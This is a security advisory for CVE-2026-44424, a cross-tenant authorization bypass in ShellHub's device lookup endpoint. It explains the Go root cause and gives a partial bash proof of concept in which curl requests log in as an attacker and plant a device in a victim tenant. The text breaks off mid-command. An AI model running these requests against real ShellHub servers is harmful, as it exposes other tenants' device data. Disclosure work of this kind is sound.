CVE-2026-44424 - ShellHub has cross-tenant IDOR in `GET /api/devices/:uid` that discloses device
CVE-2026-44424 - ShellHub has cross-tenant IDOR in `GET /api/devices/:uid` that discloses device
GHSA-j72x-xfwg-783f MEDIUM go/github.com/shellhub-io/shellhub
CVE: CVE-2026-44424
Summary
GET /api/devices/:uid returns the full device object whenever the caller is authenticated, without verifying that the device belongs to the caller's namespace (tenant). Any authenticated user (JWT or API Key) who knows or can guess a device UID can read device metadata from any other namespace.
Severity
CVSS 3.1: 7.5 (High)
CWE-639 — Authorization Bypass Through User-Controlled Key
Affected versions
ShellHub Community v0.24.1 (validated). Likely all prior versions that share this handler.
Root cause
api/services/device.go:97-104 — GetDevice resolves the device by UID without scoping to the caller's tenant:
```go
func (s *service) GetDevice(ctx context.Context, uid models.UID) (*models.Device, error) {
device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid))
// ⚠️ missing: s.store.Options().InNamespace(tenant)
...
}
```
Compare with DeleteDevice in the same file (line 137) which correctly applies InNamespace(tenant).
The Authorize middleware (api/routes/middleware/authorize.go:12-27) only checks that a tenant is present in the context — not that the resource belongs to that tenant.
Proof of concept (validated live against v0.24.1)
Pre-requisite: attacker has any valid user account and knows a target tenant_id (UUIDs frequently leak via UI URLs, email invites, support channels, or prior namespace membership).
```bash
ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"..."}' | jq -r .token)
TARGET_TENANT="<victim-tenant-uuid>"
# Plant a device in the victim tenant via the public device-auth endpoint
# (this also works when the victim already has devices and the attacker
# merely guessed/obtained a real UID via another vector)
VICTIM_UID=$(curl -s -X POST http://target/api/devices/auth \
-H 'Content-Type: application/json' \
-d "{
\"info\":{\"id\":\
📌 来源: GitHub-Advisory | 🆔 CVE-2026-44424 | 📅 2026-05-06